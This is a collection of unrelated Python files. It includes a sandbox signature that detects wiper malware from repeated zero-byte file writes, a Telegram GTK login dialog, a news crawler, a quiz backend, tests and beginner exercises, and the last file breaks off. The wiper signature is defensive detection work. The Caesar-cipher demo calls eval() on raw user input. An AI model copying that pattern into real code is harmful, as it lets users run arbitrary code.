from lib.cuckoo.common.abstracts import Signature

try:
    import re2 as re
except ImportError:
    import re

class WiperZeroedBytes(Signature):
    name = "wiper_zeroedbytes"
    description = "Overwrites multiple files with zero bytes (hex 00) indicative of a wiper"
    severity = 3
    categories = ["malware", "ransomware"]
    authors = ["Kevin Ross"]
    minimum = "1.3"
    evented = True
    ttps = ["T1561"]
    mbcs = ["C0052", "F0014"]

    filter_apinames = set(["NtWriteFile"])

    def __init__(self, *args, **kwargs):
        Signature.__init__(self, *args, **kwargs)
        self.wipecount = 0
        self.lastfile = ""

    def on_call(self, call, process):
        filepath = self.get_raw_argument(call, "HandleName")
        if filepath != self.lastfile:
            buff = self.get_raw_argument(call, "Buffer")

            if not buff:
                return

            buff = buff.lower()
            regex = re.compile("^[\\x00\.]+$")
            if len(buff) > 30 and regex.match(buff):
                self.lastfile = filepath
                self.wipecount += 1
                if self.pid:
                    self.mark_call()

    def on_complete(self):
        ret = False
        if self.wipecount > 10:
            self.data.append({"number of files wiped": "%s" % (self.wipecount)})
            ret = True

        return ret


from gi.repository import Gtk, Gdk, GLib, GObject
from .gi_composites import GtkTemplate

from cablegram.wrapper.universe import Universe

from pathlib import Path

import webbrowser
import configparser
import threading
import os
import re

import pyrogram

@GtkTemplate(ui='/org/gnome/Cablegram/ui/login.ui')
class LoginWindow(Gtk.Dialog):

    __gtype_name__ = 'LoginWindow'

    api_id = GtkTemplate.Child()
    api_hash = GtkTemplate.Child()
    phone_entry = GtkTemplate.Child()
    code_entry = GtkTemplate.Child()
    get_api_keys = GtkTemplate.Child()

    completion_callback = None

    back_button = GtkTemplate.Child()
    next_button = GtkTemplate.Child()
    login_stack = GtkTemplate.Child()

    intro_page = GtkTemplate.Child()
    api_page = GtkTemplate.Child()
    phone_page = GtkTemplate.Child()
    code_page = GtkTemplate.Child()

    event = None
    done = False

    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.init_template()

        #Apply CSS
        style_provider = Gtk.CssProvider()
        style_provider.load_from_resource("/org/gnome/Cablegram/style/login.css")

        Gtk.StyleContext.add_provider_for_screen(
            Gdk.Screen.get_default(),
            style_provider,
            Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION
        )

        self.pages = [self.intro_page, self.api_page, self.phone_page, self.code_page]

        #Close app when ESC key pressed
        def close(self):
            if not self.done:
                os._exit(0)

        self.connect("close", close)

        #Buttons / Connections
        def back_clicked(self, root):

            page = root.login_stack.get_visible_child()

            if root.login_stack.get_visible_child_name() == "intro":
                os._exit(0)

            else:
                root.login_stack.set_visible_child(root.pages[root.pages.index(page)-1])
                root.prepare_page(root.login_stack.get_visible_child_name())

        def next_clicked(self, root):

            page = root.login_stack.get_visible_child()

            # TODO Need to find a way to do page.name...
            page_name = root.login_stack.get_visible_child_name()

            if page_name == "intro":
                root.login_stack.set_visible_child(root.api_page)
                root.prepare_page("api")

            elif page_name == "api":
                root.login_stack.set_visible_child(root.phone_page)
                root.prepare_page("phone")

            elif page_name == "phone":
                root.login_stack.set_visible_child(root.code_page)
                root.prepare_page("code")

                root.event = threading.Event()
                GObject.threads_init()

                # Login...
                def code_callback():

                    def wait_for_code(self):
                        root.event.wait()
                        return root.code_entry.get_text()

                    error = Universe.instance().login(root.api_id.get_text(), root.api_hash.get_text(), root.phone_entry.get_text(), wait_for_code)
                    if error:

                        def exit_dialog(widget, info, page_index):
                            widget.destroy()
                            #if not page_index == -1:
                                #self.set_current_page(page_index)

                        dialog_message = None
                        return_to = 1

                        if type(error) is pyrogram.api.errors.exceptions.bad_request_400.PhoneNumberInvalid:
                            dialog_message = "Invalid phone number. Please try again."

                        elif type(error) is pyrogram.api.errors.exceptions.flood_420.FloodWait:
                            dialog_message = "You're trying to log in too often. Try again in "+ str(error.x) +" seconds."

                        elif type(error) is pyrogram.api.errors.exceptions.bad_request_400.ApiIdInvalid:
                            dialog_message = "Invalid API ID and / or API Hash."

                        elif type(error) is pyrogram.api.errors.exceptions.bad_request_400.PhoneCodeInvalid:
                            dialog_message = "Invalid confirmation code."
                            return_to = -1

                        def show_error():
                            error_dialog = Gtk.MessageDialog(parent         = root,
                                                             flags          = Gtk.DialogFlags.MODAL,
                                                             type           = Gtk.MessageType.ERROR,
                                                             buttons        = Gtk.ButtonsType.CLOSE,
                                                             message_format = dialog_message)
                            error_dialog.connect("response", exit_dialog, return_to)
                            error_dialog.show()

                        GLib.idle_add(show_error)
                    else:
                        #Apply ini
                        config = configparser.ConfigParser()
                        config.read(str(Path.home())+"/.config/cablegram.ini")

                        if not config.has_section('pyrogram'):
                            config.add_section('pyrogram')
                        config.set("pyrogram", "api_id", root.api_id.get_text())
                        config.set("pyrogram", "api_hash", root.api_hash.get_text())
                        config.set("pyrogram", "phone_number", root.phone_entry.get_text())

                        with open(str(Path.home())+"/.config/cablegram.ini", "w+") as config_file:
                            config.write(config_file)

                        universe_window = root.get_transient_for()
                        universe_window.start_main()

                        root.done = True
                        root.hide()
                        #root.destroy()

                t = threading.Thread(target=code_callback)
                t.start()
            elif page_name == "code":
               root.event.set()

        def open_url(sender):
            webbrowser.open("https://my.telegram.org/apps")

        def api_changed(sender):
            if re.compile('[0-9]+').match(self.api_id.get_text()) and self.api_hash.get_text():
                self.next_button.set_sensitive(True)
            else:
                self.next_button.set_sensitive(False)

        def phone_changed(sender):
            if re.compile('\+[0-9]+').match(self.phone_entry.get_text()):
                self.next_button.set_sensitive(True)
            else:
                self.next_button.set_sensitive(False)

        self.back_button.connect("clicked", back_clicked, self)
        self.next_button.connect("clicked", next_clicked, self)
        self.get_api_keys.connect("clicked", open_url)
        self.api_id.connect("changed", api_changed)
        self.api_hash.connect("changed", api_changed)
        self.phone_entry.connect("changed", phone_changed)

        self.prepare_page(self.login_stack.get_visible_child_name())

    def prepare_page(self, page):

        #Fix buttons
        if page == "intro":
            self.back_button.set_label("Quit")
            self.next_button.set_label("Next")
            self.next_button.set_sensitive(True)

        elif page == "code":
            self.back_button.set_label("Back")
            self.next_button.set_label("Finish")
            self.next_button.set_sensitive(True)

        else:
            self.back_button.set_label("Back")
            self.next_button.set_label("Next")

        # Other setup
        if page == "api":

            #Apply ini
            config = configparser.ConfigParser()
            config.read(str(Path.home())+"/.config/cablegram.ini")

            try:
                if config.get("pyrogram", "api_id"):
                    self.api_id.set_text(config.get("pyrogram", "api_id"))
            except configparser.NoSectionError:
                print("api_id empty")

            try:
                if config.get("pyrogram", "api_hash"):
                    self.api_hash.set_text(config.get("pyrogram", "api_hash"))
            except configparser.NoSectionError:
                print("api_hash empty")

            if re.compile('[0-9]+').match(self.api_id.get_text()) and self.api_hash.get_text():
                self.next_button.set_sensitive(True)
            else:
                self.next_button.set_sensitive(False)

        elif page == "phone":
            if re.compile('\+[0-9]+').match(self.phone_entry.get_text()):
                self.next_button.set_sensitive(True)
            else:
                self.next_button.set_sensitive(False)


"""
Package containing possible exceptions.
"""
import logging
import traceback

from opendf.exceptions.df_exception import DFException

logger = logging.getLogger(__name__)

# parse intentional exception into message, node, [hint]
# for unintentional exception - stop execution and print trace info
def parse_node_exception(ex):
    if isinstance(ex, DFException):
        return ex.message, ex.node, ex.hints, ex.suggestions
    logger.warning('Error - unexpected number of args in exception: %s', ex)
    logger.warning(traceback.format_exc())
    exit(1)

# use re_raise_exc to separate intentionally created exceptions from unintentional ones.
# this can save a lot of grief!
# if it's an exception intentionally created by a node - re-raise the exception, to continue with the dialog
# if it's unintentional - stop and show trace.
def re_raise_exc(ex, node=None):
    from opendf.defs import EnvironmentDefinition
    environment_definitions = EnvironmentDefinition.get_instance()
    if isinstance(ex, list):
        for e in ex:
            if not isinstance(e, DFException):
                logger.warning(traceback.format_exc())
                if environment_definitions.exit_on_python_exception:
                    exit(1)
                else:
                    raise e
                raise e
        ex = ex[-1]
    if isinstance(ex, DFException):
        if node is not None:
            ex.node = node
        raise ex
    else:
        logger.warning(traceback.format_exc())
        if environment_definitions.exit_on_python_exception:
            exit(1)
        else:
            raise ex


# boj 2468 안전 영역
# https://velog.io/@phw1996/%EB%B0%B1%EC%A4%80-2468%EB%B2%88-%EC%95%88%EC%A0%84-%EC%98%81%EC%97%AD-%ED%8C%8C%EC%9D%B4%EC%8D%AC
# 재귀 위치만 잘 생각하면.  .

import sys
sys.setrecursionlimit(100000) #안 하면 exceed recursion limit 에러

d = [(-1,0), (0,1), (1,0), (0,-1)]
n = int(input())
lst = []
maxrain = 0
for i in range(n):
    lst.append(list(map(int, input().split())))
    for j in range(n):
        if lst[i][j]>maxrain:
            maxrain = lst[i][j]

def check_safe(x,y, rain): #안전구역 찾기
    for m in range(4):
        nx, ny = x+d[m][0], y+d[m][1]
        if 0<=nx<n and 0<=ny<n and not visited[nx][ny] and lst[nx][ny]>rain:
            visited[nx][ny]=1
            check_safe(nx,ny,rain)

ans = 1
for i in range(maxrain):
    visited = [[0]*n for _ in range(n)]
    cnt = 0

    for j in range(n):
        for k in range(n):
            if lst[j][k] > i and visited[j][k]==0:
                cnt+=1
                visited[j][k] = 1
                check_safe(j,k,i)
    ans = max(ans, cnt)

print(ans)


"""
THIS SCRIPT IS FOR..................

"""
# IMPORT SECTION

# My Own Functions from include dir
try:   # Import My Own Functions from include dir
    import sys, traceback, string
    import platform
    from os import system
    from os.path import dirname, realpath
    # get parent up 2 from __file__ path: 'static path'
    up2_dir = dirname(dirname(dirname(realpath(__file__))))
    # insert path in sys.path
    sys.path.append(up2_dir)
    # get parent up 3 from __file__ path: 'static parent path'
    up3_dir = dirname(dirname(dirname(dirname(realpath(__file__)))))
    # insert path in sys.path
    sys.path.append(up3_dir)
    # import My Own Func
    from static.include.MyFunc import *
    from static.include.MyColors import *
except Exception as ImportError:
    FR_RED   = "\033[91m"
    NO_COLOR = "\033[00m"
    print("print empty line")
    print(f"{FR_RED}IMPORT ERROR ==>{NO_COLOR} {ImportError} | {ImportError.__class__} | {ImportError.__doc__}")

# get name of script
my_script = __file__.split('\\')
my_script_name = my_script[len(my_script)-1]

# Yes-No function
def Y_N(msg):
    global moreData
    ans=str(input(msg))
    print(f"\t\tAnswer -> {ans}\n")
    if ans == 'N':
        moreData=False
    elif ans == 'Y':
        moreData=True
    else:
        Y_N(msg)

# funtion to encrypt a text
def encrypt(text,alphab1,alphab2):
    global encripted_text
    for ch in text:
        # find 'ch' in new_alphab
        if ch in alphab1:
            ind = alphab1.index(ch)
            encripted_text += alphab2[ind]
        elif ch == ' ':
            encripted_text += ch
        else:
            pass

def decipher(text,alphab1,alphab2):
    global decoded_text
    for ch in text:
        # find 'ch' in new_alphab
        if ch in alphab1:
            ind = alphab1.index(ch)
            decoded_text += alphab2[ind]
        elif ch == ' ':
            decoded_text += ch
        else:
            pass

#
# ---------- MAIN ----------
#
if __name__ == "__main__":

    # clear console screen
    clear_console_screen()
    print()
    print(frGREEN("\n---------- main ----------\n"))
    print()

    pause()

    # create list of alphabet
    string.ascii_lowercase
    'abcdefghijklmnopqrstuvwxyz'
    alphab = list(string.ascii_lowercase)
    old_alphab = list(string.ascii_lowercase)
    print(f"{FR_YELL}Alphabet list\n\t{NO_COLOR}{old_alphab}\n")

    # rotate alphab
    new_alphab = alphab[3:] + alphab[:3]

    print(f"{FR_GREEN}new alphabet list by rotation 3 places\n\t{NO_COLOR}{new_alphab}\n")
    pause()

    # my text
    my_text = 'abcdef ghijk hello world'
    print(frGREEN(f"my text{NO_COLOR}\n\t{my_text}\n"))

    # call encrypt function to change original text
    encripted_text = ''
    encrypt(my_text,alphab,new_alphab)
    print(frGREEN(f"encrypted text{NO_COLOR}\n\t{encripted_text}\n"))

    # decode process
    decoded_text=''
    decipher(encripted_text,new_alphab,alphab)
    print(frGREEN(f"decoded text{NO_COLOR}\n\t{decoded_text}\n"))
    print((frGREEN("\n---------- That's all for today ðŸ‘Œ ----------\n")))
    pause()

    # ------------------------------------------------
    #      IF YOU WANT, SHOW VARS CHARACTERISTICS
    #-------------------------------------------------
    yesss=True
    while yesss:
        _msg = "Do you want to see attributes for a specific VAR ? (Y,N): "
        answer=Y_N_2(_msg)
        if answer in ['Y','N']: yesss = False

    if answer == 'Y':
        # add question for name of var.....
        _what_var = str(input("What VAR ? "))
        try:
            _what_var
            _my_Obj_name = eval(_what_var)
            print(f"\n{FR_GREEN}---------- INFO FOR OBJECT '{_my_Obj_name}' ----------{NO_COLOR}\n")
            pause()
            # my objects functions
            mostrar(_my_Obj_name)

        except NameError:
            print(f"\n\t{FR_RED}---- Var '{_what_var}' doesn't exits ðŸ™„ðŸ™„  ----")
            print(f"\n{FR_GREEN}--------------- That's all for today ðŸ‘Œ ---------------{NO_COLOR}\n")

    else:
        print(f"\n{FR_GREEN}---------- That's all for today ðŸ‘Œ ----------{NO_COLOR}\n")

else:
    # something wrong
    print(frRED("\n---- upsssssssss something is wrong ðŸ˜¢ðŸ˜¢  ---\n"))
    pause()


import json
from datetime import datetime
from typing import Optional

from sqlalchemy import insert, select, func

from app.db.db_connect import get_db
from app.db.models import Quiz, User as UserModel, Result
from app.repository.notifications_repo import NotificationRepository as notify
from app.schemas.quiz_schemas import QuizListResponse
from app.services.action_services import actions
from app.services.exceptions import NotMemberException, NotValidQuizException
from app.services.result_services import results
from app.utils.repository import SQLAlchemyRepository
from app.db.redis_utils import redis_db

class QuizRepository(SQLAlchemyRepository):
    model = Quiz

    async def add_one(self, data, company_id: int, current_user: UserModel) -> Quiz:
        async for session in get_db():
            if (await actions.validate_user_is_owner(current_user.id, company_id, session)
                    or await actions.validate_user_is_admin(current_user.id, company_id, session)):
                data_dict = dict(data)
                query = insert(self.model).values(**data_dict).returning(self.model)
                res = await session.execute(query)
                db_quiz = res.scalar_one()
                db_quiz.quiz_company_id = company_id
                await session.commit()
                await self.__send_notifications_to_users_in_company(db_quiz.id, company_id)
                return db_quiz

    async def update_one(self, quiz_id: int, data, current_user: UserModel) -> Optional[Quiz]:
        async for session in get_db():
            quiz = await self.get_one(quiz_id)
            if (await actions.validate_user_is_owner(current_user.id, quiz.quiz_company_id, session)
                    or await actions.validate_user_is_admin(current_user.id, quiz.quiz_company_id, session)):

                for field, value in data.model_dump().items():
                    if value is not None:
                        setattr(quiz, field, value)
                quiz.updated_at = datetime.now()
                await session.commit()
                return quiz

    async def delete_one(self, quiz_id: int, current_user: UserModel) -> Optional[Quiz]:
        async for session in get_db():
            quiz = await self.get_one(quiz_id)
            if (await actions.validate_user_is_owner(current_user.id, quiz.quiz_company_id, session)
                    or await actions.validate_user_is_admin(current_user.id, quiz.quiz_company_id, session)):
                await session.delete(quiz)
                await session.commit()
                return quiz

    async def get_all_quizzes_in_company(self, company_id: int, page: int, size: int) -> QuizListResponse:
        async for session in get_db():
            offset = (page - 1) * size
            query = select(self.model).where(self.model.quiz_company_id == company_id).offset(offset).limit(size)
            res = await session.execute(query)
            table_name = self.model.__tablename__
            return {table_name: res.scalars().all()}

    async def start_quiz(self, quiz_id, current_user):
        async for session in get_db():
            quiz = await self.get_one(quiz_id)
            if (not await actions.validate_user_is_member(current_user.id, quiz.quiz_company_id, session)
                    and not await actions.validate_user_is_owner(current_user.id, quiz.quiz_company_id, session)):
                raise NotMemberException
            questions = await results.get_all_questions_in_quiz(quiz_id, session)
            if len(questions) < 2:
                raise NotValidQuizException
            return {"questions": questions}

    async def get_quiz_result(self, quiz_id, body, current_user):
        async for session in get_db():
            quiz = await self.get_one(quiz_id)
            questions = await results.get_all_questions_in_quiz(quiz_id, session)
            result_total_count = len(questions)
            question_correct_answers = await results.calculate_correct_answers(body.model_dump(), questions)

            data = {
                "result_user_id": current_user.id,
                "result_company_id": quiz.quiz_company_id,
                "result_quiz_id": quiz_id,
                "result_right_count": question_correct_answers,
                "result_total_count": result_total_count
            }
            redis = await redis_db.create_redis_connection()

            quiz_result_key = (f'result:'
                               f'quiz_{quiz_id}:'
                               f'user_{data["result_user_id"]}:'
                               f'company_{data["result_company_id"]}:'
                               f'score_{format(question_correct_answers / result_total_count, ".2f")}')

            await redis_db.set_data(redis, quiz_result_key, json.dumps(data), expire=172800)

            await redis.close()

            query = insert(Result).values(**data).returning(Result)
            res = await session.execute(query)
            await session.commit()
            return res.scalar_one()

    async def __send_notifications_to_users_in_company(self, quiz_id, company_id):
        async for session in get_db():
            members_ids = await actions.get_company_members(company_id, session)
            for member_id in members_ids:
                await notify().create_quiz_notification(member_id, quiz_id, session)

    async def get_last_completion_time(self, user_id, quiz_id, session):
        subquery = select(func.max(Result.created_at).label('max_created_at')).where(
            (Result.result_user_id == user_id) &
            (Result.result_quiz_id == quiz_id)
        ).group_by(Result.result_user_id, Result.result_quiz_id).alias('subquery')

        query = select(subquery.c.max_created_at).order_by(subquery.c.max_created_at.desc()).limit(1)

        result = await session.execute(query)
        last_completion_time = result.scalar()

        return last_completion_time


# -*- coding: utf-8 -*-

# GUIでpdf、jpgファイル取ってこられるようにしたやつ
# 今は探索フォルダの直下しか探せないので、探索フォルダ以下すべてのフォルダを探せるようにしたい（やり方がわからん）

import wx, glob, tkinter, os, glob, shutil
from datetime import datetime
from tkinter import messagebox

dir_path = datetime.now().strftime("%Y.%m.%d_%H%M-%S")
if not os.path.isdir(dir_path):
    os.mkdir(dir_path)

app = wx.App()

dialog = wx.DirDialog(None, u'フォルダを選択してください')

dialog.ShowModal()
print(dialog.GetPath())

namedialog = tkinter.Tk()
namedialog.title(u"ファイル名を入力")
namedialog.geometry("920x480")

pdfcheck = tkinter.BooleanVar()
pdfcheck.set(False)

jpgcheck = tkinter.BooleanVar()
jpgcheck.set(False)

def fetch_files(event):
    result = text_box.get('1.0', 'end -1c')
    result = result.splitlines()
    filename_list = []
    for i in result:
        if pdfcheck.get():
            filename_list.append(i + '.pdf')
        if jpgcheck.get():
            filename_list.append(i + '.jpg')

    counter = 0

    for i in filename_list:
        print(dialog.GetPath() + '\\' + i)
        aaaaa = glob.glob(dialog.GetPath() + '\\' + i)
        print(aaaaa)
        for j in aaaaa:
            shutil.copyfile(j, dir_path + '\\' + i)
            print(i + 'をコピーした')
            counter += 1
    messagebox.showinfo('確認', str(counter) + '個のファイルを' + dir_path + 'にコピーしました')

def directory_change(event):
    dialog.ShowModal()
    print(dialog.GetPath())
    nowdirectory_label["text"] = "探索ディレクトリ：" + dialog.GetPath()

text_box = tkinter.Text()
text_box.pack()

check_pdf = tkinter.Checkbutton(text='.pdf', variable = pdfcheck)
check_pdf.pack()

check_jpg = tkinter.Checkbutton(text='.jpg', variable = jpgcheck)
check_jpg.pack()

button = tkinter.Button(text=u'取ってくる')
button.bind("<Button-1>",fetch_files)
button.pack()

button2 = tkinter.Button(text=u'探索ディレクトリ変更')
button2.bind("<Button-1>",directory_change)
button2.pack()

nowdirectory_label = tkinter.Label(text="探索ディレクトリ：" + dialog.GetPath())
nowdirectory_label.pack()

namedialog.mainloop()


#### 5.1
# ðŸš¨ Don't change the code below ðŸ‘‡
student_heights = input("Input a list of student heights ").split()
for n in range(0, len(student_heights)):
  student_heights[n] = int(student_heights[n])
# ðŸš¨ Don't change the code above ðŸ‘†

#Write your code below this row ðŸ‘‡
sum_of_heights = 0
number_of_heights = len(student_heights)

for heights in range(0,number_of_heights):
    sum_of_heights += student_heights[heights]

avg_height = round((sum_of_heights / number_of_heights))
print(avg_height)

#### 5.2
# ðŸš¨ Don't change the code below ðŸ‘‡
student_scores = input("Input a list of student scores ").split()
for n in range(0, len(student_scores)):
  student_scores[n] = int(student_scores[n])
print(student_scores)
# ðŸš¨ Don't change the code above ðŸ‘†

#Write your code below this row ðŸ‘‡
cur_highscore = 0;

for score in student_scores:
    if score > cur_highscore:
        cur_highscore = score

print(f"The highest score in the class is: {cur_highscore}")

#### 5.3
#Write your code below this row ðŸ‘‡
sum_evens = 0
for number in range(1, 101):
    if(number % 2 == 0):
        sum_evens += number

print(sum_evens)

#### 5.4 FizzBuzz
#Write your code below this row ðŸ‘‡
fizz = False
buzz = False
fizzbuzz = False
fizz_str = "Fizz"
buzz_str = "Buzz"
for num in range(1,101):
    if(num % 3 == 0):
        fizz = True
    if(num % 5 == 0):
        buzz = True
    if(fizz == True and buzz == False):
        print(fizz_str)
        fizz = False
    elif(fizz == False and buzz == True):
        print(buzz_str)
        buzz = False
    elif(fizz == True and buzz == True):
        print(fizz_str+buzz_str)
        fizz = False
        buzz = False
    else:
        print(num)


from twitter_dev import TwitterDev
import re
import time
import geograpy
import database
import thesis_logging
import numpy as np
from thesis_nlp.convert import NewsConverter
from threading import Thread
from newspaper import Article

crawler_finish = False

def crawl_feeds(dev: TwitterDev, duration: int = 0):
    global crawler_finish
    logger = thesis_logging.get_logger('crawler')
    while True:
        try:
            if dev is None:
                logger.error('There is no Twitter developer account detected.')
                return
            news_collection = database.news_collection()
            logger.info('ok')
            user_id = dev.api.VerifyCredentials()
            logger.info('Twitter Auth: ' + str(user_id.AsJsonString()))
            friends = dev.api.GetFriendIDs(user_id, stringify_ids=True)
            logger.info('Friends: ' + str(friends))
            logger.info('Start crawling')
            start = int(round(time.time()) * 1000)
            link_list = ['cnn.it', 'nyti.ms', 'nbcnews', 'apne.ws', 'reut.rs', 'wapo.st',
                         'abcn.ws', 'nbcbay.com', 'bbc.in', 'huff.to',
                         'ti.me', 'cbsn.ws', 'huffingtonpost.com', 'cnb.cx', 'cnnmon.ie',
                         'huffp.st', 'forbes.com', 'telegraph.co', 'cnn.com', 'trib.al',
                         'express.co', 'gu.com', 'bloom.bg', 'hill.cm', 'natgeo.com',
                         'pbs.org', 'washingtonpost', 'news.sky.com']
            ignore_list = ['bit.ly', 'twitter', 'tinyurl', 'goo.gl', 'facebook.com', ]
            dupliate_urls = {}
            for status in dev.api.GetStreamFilter(follow=friends):
                urls = status['entities']['urls']
                if len(urls) == 0:
                    continue
                url = urls[0]['expanded_url']

                if url is None:
                    continue

                if not any(x in url for x in link_list):
                    logger.info('Skip link ' + url)
                    continue

                if news_collection.find({'reference': url}).count() > 0:
                    logger.info('Skip duplicated ' + url)
                    continue

                timestamp = int(time.mktime(time.strptime(status['created_at'], '%a %b %d %H:%M:%S +0000 %Y')))

                document = {
                    'id': status['id'],
                    'created_at': timestamp,
                    'reference': url
                }
                news_collection.insert_one(document)
                logger.info('Insert ' + url + '  created at ' + str(timestamp))
                # if duration != 0 and int(round(time.time()) * 1000) - start > duration:
                #    break
        except Exception as e:
            logger.error(e)
        finally:
            # crawler_finish = True
            logger.info('Finish crawling')
            logger.info('Sleeping 5s to start again...')
            time.sleep(5)

def locate_feeds(news_converter: NewsConverter, latest: int = 0, ):
    global crawler_finish
    logger = thesis_logging.get_logger('locator')
    news_collection = database.news_collection()

    class VectorConverter(Thread):
        def __init__(self, text):
            super().__init__()
            self.text = text
            self.vector = []

        def run(self):
            self.vector = news_converter.convert_doc_to_vector(self.text).tolist()

    class GeographyExtractor(Thread):
        def __init__(self, text):
            super().__init__()
            self.text = text
            self.places = []
            self.people = []
            self.organs = []

        def run(self):
            context = geograpy.get_place_context(text=self.text)
            self.places = context.places
            self.people = context.people
            self.organs = context.organs

    class PageParser(Thread):
        def __init__(self, tweet_id, url, collection):
            super().__init__()
            self.tweet_id = tweet_id
            self.url = url
            self.collection = collection

        def run(self):
            try:
                logger.info('Parse ' + self.url)
                article = Article(self.url)
                article.download()
                if article.download_exception_msg and "404" in article.download_exception_msg:
                    logger.error('404 not found, delete... ' + self.url)
                    news_collection.remove({"id": self.tweet_id})
                    return
                article.parse()
                ignore_list = ["twitter.com", "youtube.com", "facebook.com", "instagram.com"]
                if any(x in article.canonical_link for x in ignore_list):
                    print('delete ' + article.canonical_link)
                    news_collection.remove({"id": self.tweet_id})
                    return
                logger.info(
                    'Title for ' + article.top_image + '  -  ' + article.canonical_link + '\n' + article.title + '\n\n')
                logger.info('Latest: ' + str(latest))
                vector_converter = VectorConverter(article.text)
                geography_extractor = GeographyExtractor(article.text)
                vector_converter.start()
                geography_extractor.start()
                geography_extractor.join()
                vector_converter.join()
                vector = vector_converter.vector
                news_collection.update_one({'id': self.tweet_id},
                                           {'$set': {'places': geography_extractor.places,
                                                     'people': geography_extractor.people,
                                                     'organs': geography_extractor.organs,
                                                     'vector': vector,
                                                     'title': article.title,
                                                     'text': article.text,
                                                     'image': article.top_image}})
                for place in geography_extractor.places:
                    self.collection.update_one({'place': place},
                                               {'$inc': {'count': 1}},
                                               upsert=True)

            except Exception as e:
                logger.error(str(e))

    location_collection = database.location_collection()
    duplicate_urls = {}
    tasks = []
    while True:
        documents = news_collection.find({'created_at': {'$gte': latest}}).limit(100)
        logger.info('Found ' + str(documents.count()) + ' after ' + str(latest))

        # Clean up remaining tasks
        if len(tasks) != 0:
            logger.info('Cleaning up remaining tasks')
            for task in tasks:
                task.join()
            tasks.clear()

        if documents.count() == 1:
            if crawler_finish:
                break
            logger.warn('Nap and back in 500 seconds')
            time.sleep(500)
            continue

        logger.info('Start Locating')
        index = 0

        for doc in documents:
            try:
                ref = doc['reference']
                latest = doc['created_at']
                image = doc.get('image')

                if image is not None:
                    logger.info('image skip')
                    continue
                if news_collection.find({'reference': ref}).count() > 1:
                    logger.info('delete duplicate ' + ref)
                    news_collection.remove({"id": doc['id']})
                    continue

                thread = PageParser(doc['id'], ref, location_collection)
                tasks.append(thread)
                thread.start()
                time.sleep(7)
                index += 1
                if index % 5 == 0:
                    for task in tasks:
                        task.join()
                    tasks.clear()

            except Exception as e:
                logger.error(doc['reference'] + ' : ' + str(e))


import asyncio
import sqlite3
from pathlib import Path
from typing import Optional, Tuple

import pandas as pd

from real_estate_scraper.utils import get_timestamp

DOWNLOAD_FOLDER = Path.cwd() / "downloads"
FILE_EXTENSIONS = [".csv"]

def generate_name_string(pages: Optional[list] = None,
                         city: Optional[str] = None,
                         deep: bool = False) -> str:
    """Generate a name string for the scraping results"""
    if isinstance(pages, int):
        pages = [pages]

    deep_str = "deep" if deep else "shallow"
    pages_str = "_".join(map(str, pages)) if pages else "all"
    city_str = city if city else "all"
    date_str = get_timestamp(date_only=True)

    return f"City_{city_str}_depth_{deep_str}_pages_{pages_str}_{date_str}"

def generate_filename(pages: Optional[list] = None,
                      city: Optional[str] = None,
                      deep: bool = False,
                      extension: str = ".csv") -> str:
    """Generate a filename for the scraping results"""

    if extension not in FILE_EXTENSIONS:
        raise ValueError(f"Extension {extension} is not supported"
                         f" (supported extensions: {FILE_EXTENSIONS})")

    name_string = generate_name_string(pages=pages, city=city, deep=deep)
    return f"{name_string}{extension}"

def generate_table_name(pages: Optional[list] = None,
                        city: Optional[str] = None,
                        deep: bool = False,
                        schema: str = 'raw') -> str:
    """Generate a table name for the scraping results"""

    return f"{schema}.{generate_name_string(pages=pages, city=city, deep=deep)}"

def create_folder(folder_path: Optional[str] = DOWNLOAD_FOLDER) \
        -> Tuple[Path, Optional[str]]:
    """ Create folder if given path does not exist."""

    path = Path(folder_path)

    if not path.exists():
        path.mkdir()
        msg = f"Folder {folder_path} was created as it did not exist"
    else:
        msg = None

    return path, msg

def file_exists(filepath: str) -> bool:
    file = Path(filepath)
    return file.exists() and file.is_file()

def to_csv(
        df, filepath, index=False, mode="a", encoding="utf-8", header=True, **kwargs
):
    if file_exists(filepath):
        header = False
    df.to_csv(
        filepath, index=index, mode=mode, encoding=encoding, header=header, **kwargs
    )

async def df_to_file_async(
        df: pd.DataFrame, filepath, file_format: str = "csv", **kwargs
):
    FORMAT_MAP = {"csv": to_csv}
    return await asyncio.to_thread(FORMAT_MAP[file_format], df, filepath, **kwargs)

def write_to_sqlite(df: pd.DataFrame, table_name: str, database_name: str):
    with sqlite3.connect(database_name) as conn:
        df.to_sql(table_name, conn, if_exists="append", index=False)

async def write_to_sqlite_async(df: pd.DataFrame, table_name: str, database_name: str):
    return await asyncio.to_thread(write_to_sqlite, df, table_name, database_name)


import re

import pytest

from stellarphot.io.tess import TessSubmission

GOOD_HEADER = {
    "date-obs": "2022-06-04T05:44:28.010",
    "filter": "ip",
    "object": "TIC-237205154"
}

GOOD_HEADER_WITH_PLANET = {
    "date-obs": "2022-06-04T05:44:28.010",
    "filter": "ip",
    "object": "TIC-237205154.01"
}

BAD_HEADER = {}

def test_good_header_sucess():
    tsub = TessSubmission.from_header(GOOD_HEADER)
    assert tsub.utc_start == "20220604"
    assert tsub.tic_id == 237205154
    assert tsub.planet_number == 0
    assert tsub.telescope_code == ""

def test_good_header_planet_sucess():
    tsub = TessSubmission.from_header(GOOD_HEADER_WITH_PLANET)
    assert tsub.utc_start == "20220604"
    assert tsub.tic_id == 237205154
    assert tsub.planet_number == 1
    assert tsub.telescope_code == ""

def test_bad_header_fails():
    with pytest.raises(ValueError) as e:
        TessSubmission.from_header(BAD_HEADER)
    match_str = ".*UTC date of first image.*filter/passband.*TIC ID number.*"
    assert re.search(match_str, str(e))

def test_base_name():
    tsub = TessSubmission.from_header(GOOD_HEADER_WITH_PLANET, telescope_code="ABS")
    assert tsub.base_name == "TIC237205154-01_20220604_ABS_ip"

def test_seeing_profile():
    tsub = TessSubmission.from_header(GOOD_HEADER_WITH_PLANET, telescope_code="ABS")
    assert tsub.seeing_profile == "TIC237205154-01_20220604_ABS_ip_seeing-profile.png"

def test_valid_method():
    tsub = TessSubmission.from_header(GOOD_HEADER)

    # Missing telescope code, amopng other things...
    assert not tsub._valid()

    # Fix the code, should still not be valid because of planet number
    tsub.telescope_code = "ABC"
    assert not tsub._valid()

    # Set planet number and should be valid
    tsub.planet_number = 1
    assert tsub._valid()

    # Set invalid TIC number
    tsub.tic_id = 10_000_000_000
    assert not tsub._valid()


from collections import deque

dx = [1, 1, 1, 0, 0, -1, -1, -1]
dy = [1, 0, -1, 1, -1, 1, 0, -1]

M, N = map(int, input().split())
arr = []
for _ in range(M):
    arr.append(list(map(int, input().split())))

def dfs(x, y):
    # 방문 처리
    if arr[x][y] == 1:
